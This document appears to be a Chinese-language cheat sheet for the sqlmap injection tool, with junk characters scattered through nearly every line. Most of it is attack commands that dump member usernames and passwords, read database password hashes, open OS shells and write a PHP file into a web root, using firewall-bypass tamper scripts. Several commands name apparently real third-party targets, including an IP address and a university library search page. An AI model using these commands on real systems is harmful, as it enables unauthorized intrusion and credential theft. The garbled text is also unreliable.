/pentest/database/sqlmap
' w" X6 L: }! D7 q5 D5 Z! p$ m4 r7 u4 ?- I. [
update :::::> in the folder after execute following order : svn update+ |' {/ l$ l* k
8 u& r9 K1 |- b8 @6 Hsqlmap.py -r 1.txt --current-db
, O. d9 Y, U7 k+ ?6 Z5 C1 Q4 l
- ~) \. n! J+ _. W; vv 3 –dbms “MySQL” –technique U -p id –batch –tamper “space2morehash.py”1 x, Z( Q# Q N( ^
/ K; I/ k8 L/ M==================基本使用方法==========================elect (select concat(0x7e,0x27,username,0x3a,password,0x27,0x7e) from phpcms_member limit 0,1))
N9 b8 Z; {" q$ J4 C9 e猜解数据库7 v" a/ N- U5 K1 M+ J
./sqlmap.py -u "injection-url" --dbs
+ r2 @% d- L- asqlmap.py -r 1.txt -v 3 --dbs --tamper "space2morehash.py"& l k3 R& G' u% i6 B c4 {
& V. j: C( {, `/ F1 o" k$ G
猜解表名
- A2 Q9 c4 d( \6 M; I6 T; b4 p./sqlmap.py -u "injection-url" -D database_name --tables- K3 h; G; ?% v* b W% |
& o% N" w3 J8 d6 d5 u4 D
sqlmap.py -r 1.txt -v 1 -D jsst --tables --batch --tamper "space2morehash.py"
Q, l; k6 q7 hsqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_member_info --columns --batch --tamper "space2morehash.py" 5 w. t: c( r# v) l) p4 J a
; K0 z% ^, |" s& Vsqlmap.py -r 1.txt -D mail -T F_domain -C F_email,F_password --dump% X5 q. e. G/ t: ]% R
) z# v! I. G3 {2 j" r0 Isqlmap.py -r 1.txt -v 1 --os-shell --tamper "chardoubleencode.py"
3 z" V3 U# J \# Q( p! Jsqlmap.py -r 1.txt -v 3 --os-shell --tamper "chardoubleencode.py" d* e) Y3 ~/ Y2 I+ Q! u: [
sqlmap.py -r 1.txt -v 3 --file-write c:\help.php --file-dest D:\Bitnami\wampstack-5.4.29-0\apache2\htdocs\en\fckeditor\help888.php --tamper "chardoubleencode.py"
) q6 d- @) }" O, e5 ~ nsqlmap.py -r 1.txt --dbms "Mysql" --os-shell --tamper "charunicodeencode.py"0 P' s. ^8 G. E( [/ b5 @/ m
6 { u2 p" j2 j6 t. a% Q) i( U. zsqlmap.py -u "http://121.15.0.227/en/list.php?catid=74" --os-shell -v3 --tamper "charunicodeencode.py"& a j9 B* f# g% Y
sqlmap.py -r 1.txt -v 3 --sql-query "desc jsgen_member;" --batch --tamper "space2morehash.py"
& c( U- n9 _3 E1 t7 Zsqlmap.py -r 1.txt -v 3 --sql-query "show create table jsgen_member;" --batch --tamper "space2morehash.py"* v7 w) y+ Y8 S! b; ^
sqlmap.py -r 1.txt -v 3 --sql-query "select user();" --batch --tamper "space2morehash.py"
% i6 g+ L4 D% S) }% Usqlmap.py -r 1.txt -D jsst -T phpcms_member -C username,password --dump
) Y7 N2 b* z% ~. U4 j( E5 e& E. g: w# ^6 A
sqlmap.py -r 1.txt -v 3 --dbs --batch --tamper "space2morehash.py" 绕过防火墙了9 n' ?' S. J6 z. z- {% B
sqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_member -C ,userid,username,password, --dump --batch --tamper "space2morehash.py"
$ D2 d7 I. R+ ?0 f% G
# S8 J/ a8 G' W" z' L: Y4 Ssqlmap.py -r 1.txt --dbms "Mysql" --tables -D "jsst"
4 k2 k* k+ d$ o! c1 A3 K! X* o猜解列名. p0 ~+ A+ @) ]& r" C* n
./sqlmap.py -u "injection-url" -D database_name -T table_name --columns# _5 h2 K6 u6 @2 l3 D! H# Z( X! Y }
5 C' U6 ^. L5 z+ f+ L& j9 B6 e7 z
sqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_member --columns --batch --tamper "space2morehash.py"
, R) a( U) j3 D, [sqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_session --columns --batch --tamper "space2morehash.py" 1 K( ]1 z8 D9 v" { Y5 W" d6 M2 J
sqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_member -C userid,groupid,username,password,touserid,point,modelid,email,areaid --dump --batch --tamper "charunicodeencode.py"
. s% C: ~0 c8 E, Q( M4 O8 q) f9 P8 j- ]
sqlmap.py -u "http://cityusr.lib.cityu.edu.hk/jspui/simple-search?query=1" --batch --tamper "space2morehash.py"" U- P q* N' y- V7 l
&submit=Go
0 S& p3 t3 v* d( d7 ?猜解值) {9 v& ^8 Q s0 Q2 Q/ c: E
./sqlmap.py -u "injection-url" -D database_name -T table_name -C column1,column2 --dump ^2 F' @: I8 H! U2 n
========================================================
0 a3 u9 @0 W6 F7 t1 ^' e4 g搜索表名中包括mana字符的
7 b7 W" u/ S! m) K& y/sqlmap.py -u "injection-url" -T mana --search
! w; o& j h2 W2 ~5 r" f返回一个交互式sql shell: S# R4 s* M: K/ Z9 O+ S
/sqlmap.py -u "injection-url" --sql-shell2 U% Z3 q4 w4 ]5 V% D1 K
读取指定文件(需权限)
8 A+ v! ]7 p3 \; q4 y6 f/sqlmap.py -u "injection-url" --file-read "c:\boot.ini"( ~* m2 u1 a! R4 Q! D
查看当前 用户 及 数据库 3 y' F; W- j4 K( `8 F
/sqlmap.py -u "injection-url" --current-user --current-db& g* j, U: U2 ^! G! Q( C+ M9 `( ~
本地文件 写入 远程目标绝对路径1 ]$ |2 L( d8 ?
/sqlmap.py -u "injection-url" --file-write 本地路径 --file-dest 远程绝对路径4 m" S( C6 u- f# c% ^: \2 N7 V; `! W
sqlmap.py -r 1.txt -v 3 --file-write c:\help.php --file-dest D:/Bitnami/wampstack-5.4.29-0/apache2/htdocs/en/fckeditor\help888.php --tamper "charunicodeencode.py"
+ J) v( k# d7 b# U* n: h0 s4 }" o: f) U7 L" t# X
sqlmap.py -u "injection-url" --file-write 本地路径 --file-dest 远程绝对路径& I- Q6 u. Y+ j
查看某用的权限
$ W; [& t8 r' V4 l# W# n5 s/sqlmap.py -u "injection-url" --privileges -U root
: g# O) L2 S Q6 K' c2 S查看当前用户是否为dba
, H; R5 P% O/ c/sqlmap.py -u "injection-url" --is-dba
) B6 Q/ q9 @8 w- O读取所有数据库用户或指定数据库用户的密码
/ F k2 ?( M1 M4 x- p0 ssqlmap.py -r 1.txt --users --passwords
0 C+ [' B' y5 m8 {* s# x Ssqlmap.py -r 1.txt -v 3 --users --passwords --batch --tamper "space2morehash.py"
- A# `7 t3 b* o. Z9 H w3 v2 C, V" S- o* e3 ^
/sqlmap.py -u "injection-url" --passwords -U root* }7 h: h6 t0 o; T e/ b' j/ u
" ^8 Z3 J; G* E6 S5 s9 o
--start&&--stop 与 --first&&--last 的区别
2 j* a* t/ F! x0 ~& [/ m/sqlmap.py -u "http://localhost/comment/index.php?keyid=1&itemid=1" -D phpcms -T phpcms_member --start=1 --stop=2 --dump (--start=1 --stop=2 会列出第二条记录。。。。记录例如:0 1 2 3 ……)' Y+ p3 s# Z6 ?, D
4 I3 i* m S- [/ k: m
从字典中查找(属于暴利破解)存在的表(sqlmap/txt/common-tables.txt)或字段(sqlmap/txt/common-columns.txt)
! _! j+ \' m! h7 k! j+ W4 e8 N- x/sqlmap.py -u "http://localhost/comment/index.php?keyid=1&itemid=1" -D database-name --common-tables
, s5 J6 t# `( K/ C2 Z/sqlmap.py -u "http://localhost/comment/index.php?keyid=1&itemid=1" -D database-name -T table_name --common-columns
' a4 A+ \( t: U; d$ f0 R0 r( C. T+ y
2 g* f4 q/ F8 Y. h4 Y: n) {执行sql语句,如查询@@datadir得到数据库路径(或者user()/database()等等……)) J% r |, \) i8 B0 u' P7 u7 E
/sqlmap.py -u "http://localhost/comment/index.php?keyid=1&itemid=1" --sql-query "select @@ip"
/ q. S2 ?: H+ G% Q$ }
1 j$ k% F# d2 ?# D* g |